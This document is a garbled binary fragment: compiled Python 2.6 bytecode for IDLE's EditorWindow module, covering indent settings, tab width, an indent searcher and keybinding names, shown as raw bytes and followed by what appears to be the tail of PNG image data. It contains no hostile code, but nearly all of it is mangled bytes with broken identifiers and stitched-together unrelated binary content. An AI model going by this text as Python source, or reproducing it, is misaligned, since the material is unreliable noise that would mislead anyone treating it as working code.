remains at(RRR?R(RRH((s*/usr/lib/python2.6/idlelib/EditorWindow.pyR2s!


cCsc|iddd|id|idddd}|o(||ijo|io
||_nd	S(
NsIndent widths6New indent width (2-16)
(Always use 8 when using tabs)RORTtminvalueitmaxvalueiRG(RR?RR(RRHR((s*/usr/lib/python2.6/idlelib/EditorWindow.pyRHs			"
cCs|i}|i\}}|o1|o*|i|d}|i|d}n|id}|id}|i||}|id}||||fS(Ns
 linestarts-1c lineend +1csinsert linestartsinsert lineend +1cs
(R?RRRR(RR?RRR`RaR'RS((s*/usr/lib/python2.6/idlelib/EditorWindow.pyRPTs	cCs|i}di|}||jo|idS|iddd|id||i|i|||i|||i|i	d|ddS(Ns
Rs1.0RXR(
R?R[RPRRRR$RRR(RR`RaR'RSR?tnewchars((s*/usr/lib/python2.6/idlelib/EditorWindow.pyRRas	



cCs?|io)t||i\}}d|d|Sd|SdS(Ns	R(RRWR(RRRXRY((s*/usr/lib/python2.6/idlelib/EditorWindow.pyRQqs
cCso|i}|i|idddo|iddn|o|id|i|n|idS(Nsinsert linestarts!=R(R?RRR$RRQR(RRR?((s*/usr/lib/python2.6/idlelib/EditorWindow.pyR.{s	
cCs8|iddd|id|iddddp|iS(	Ns	Tab widthsColumns per tab? (2-16)RORTR\iR]i(RR?RR(R((s*/usr/lib/python2.6/idlelib/EditorWindow.pyRVs		cCsut|i|ii\}}|o;|o4t||i\}}t||i\}}nd}}||S(Ni(tIndentSearcherR?RRR-(RtopenertindentedR/tindentsmalltindentlarge((s*/usr/lib/python2.6/idlelib/EditorWindow.pyR$s!
N(sfileR(seditR(sformatR(srunR(RR(swindowsR(shelpR(swindowsR(R1s<<close-window>>(yR#t
__module__tidlelib.PercolatorR-tidlelib.ColorDelegatorR.tidlelib.UndoDelegatorR/tidlelib.IOBindingR0R1R2R_R3tTkinterR4tidlelib.MultiStatusBarR5RRYRRRRRRRR
R`RwRR+RR5R,RRRRR|R}R~RRRRRRRRRRRRRRRfRRnRoRRsRuRRRRRR"RRRRRRRRRRReRRRR{RRRRRRRRRxRRRRRRRR#RhRRRRR6RRRRRRRRRPRRRQR.RVR$(((s*/usr/lib/python2.6/idlelib/EditorWindow.pyR,4s			,		
		
															!									
		 			(									
													%							-	#	k					
					
		
			cCstt|S(N(RR(R((s*/usr/lib/python2.6/idlelib/EditorWindow.pyR,scCsxd}}xa|D]Y}|djo|d}|d}q|djo |d}||d|}qPqW||fS(NiRis	((tsRR/R0tch((s*/usr/lib/python2.6/idlelib/EditorWindow.pyR-s




R_cBs;eZdZdZeieid
dZd	ZRS(cCs6||_||_d|_|_d|_|_dS(Ni(R?RRtfinishedRtblkopenlinetindentedline(RR?R((s*/usr/lib/python2.6/idlelib/EditorWindow.pyRs		cCsh|iodS|id}|_t|d}|ii|ddodS|ii||dS(NRRis.0s>=RXs lineend+1c(RmRRR?RR(RRR((s*/usr/lib/python2.6/idlelib/EditorWindow.pyRjs
tclasstdeftfortifttrytwhilec		Csf|ionU||jo||jo
||_n.||jo |io||_d|_ndS(Ni(RmRnRo(	RROttokentstartRXRtINDENTtNAMEtOPENERS((s*/usr/lib/python2.6/idlelib/EditorWindow.pyt
tokeneaters

	c	Csiti}|it_z7yti|i|iWntij
onXWd|t_X|i|ifS(N(	t	_tokenizettabsizeRttokenizeRjR{t
TokenErrorRnRo(Rtsave_tabsize((s*/usr/lib/python2.6/idlelib/EditorWindow.pyRs		
(RpRqRrRsRtRu(	R#RdRRjR|RxRyR{R(((s*/usr/lib/python2.6/idlelib/EditorWindow.pyR_s		
	cCs@|id}|djo|| ||d}n||fS(NRii(RI(RkR((s*/usr/lib/python2.6/idlelib/EditorWindow.pyRs
t[tbracketleftt]tbracketrightt/tslashcCs|i|}|pdS|d}tidd|}tidd|}tidd|}tidd	|}tid
d|}tidd
|}tidd|}tidd|}tidd|}|S(NRRis-[a-z]\bcSs|iiS((tgrouptupper(R((s*/usr/lib/python2.6/idlelib/EditorWindow.pyRIss\b\w+\bcSsti|i|iS((tkeynamesRR(R((s*/usr/lib/python2.6/idlelib/EditorWindow.pyRIssKey-tCancels
Ctrl-BreaksControl-sCtrl-Rt+s><RRR(RRtsub(RR4RRk((s*/usr/lib/python2.6/idlelib/EditorWindow.pyRs
cCsF|i}|iddd|iddd|iddddS(	Nttcl_wordBreakAftersa biRt
tcl_wordcharss[a-zA-Z0-9_]ttcl_nonwordcharss
[^a-zA-Z0-9_](RR(RdR((s*/usr/lib/python2.6/idlelib/EditorWindow.pyt
fixwordbreakss	cCst}t||itidotid}nd}td|d|}|i|i|i	i
d|i|i|i
dS(NiRdR(s<<close-all-windows>>(tTkRtwithdrawRtargvRR,RotquitR?RzR{tmainloopR(RdR(R
((s*/usr/lib/python2.6/idlelib/EditorWindow.pyttests	


t__main__(*RRZRRt	itertoolsRRiRRR@tidlelib.MultiCallRR_RRRRRRtidlelib.configHandlerR	R
RRR
RRRR+tobjectR,R,R-R~R|R_RRRRRR#(((s*/usr/lib/python2.6/idlelib/EditorWindow.pyt<module>sV
	
m		
2		
				

y~or5J={Eeu磝QkᯘG{?+]ן?wM3X^歌>{7پK>on\jyR g/=fOroNVv~Y+NGuÝHWyw[eQʨSb>>}Gmx[o[<{Ϯ_qF vMIENDB`